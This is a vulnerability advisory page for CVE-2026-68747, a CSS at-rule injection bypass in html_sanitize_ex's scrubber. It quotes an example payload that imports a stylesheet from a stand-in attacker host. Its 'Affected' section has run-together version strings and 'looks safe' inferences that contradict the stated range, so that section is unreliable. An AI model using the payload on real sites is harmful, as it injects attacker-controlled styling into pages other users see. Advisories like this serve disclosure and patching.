CVE-2026-68747

CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input

MEDIUM
6.1
CVSS Score
Published: August 6, 2026 at 02:50 PM UTC
Updated: October 24, 2026 at 04:10 PM UTC
1 product affected across 1 vendorHtmlsanitizeex

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Severity
MEDIUM6.1
Exploit prediction
EPSS 0.4%
SSVC
No known exploit

Description

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.5.4.

Affected

Our own answer: ranges merged, affected separated from platform-only, with confidence and review flags.

0.3.1 ≤ v < 1.5.40.3.11.5.0-rc.021f90012eb21aa36f4e3701b7547e12faf0f3c8b
Affected range stops below 1.4.5, so it looks safe — our inference, not a vendor statement
Affected range stops below 1.5.4, so it looks safe — our inference, not a vendor statement

SSVC — Action Prioritization

SSVCNo known exploitNot automatablePartial impact

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CVSS

Attack Vector
NETWORK
Complexity
LOW
Privileges
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality
LOW
Integrity
LOW
Availability
NONE
Vector?

Quick Info

StatusMODIFIED
CWE
CWE-74

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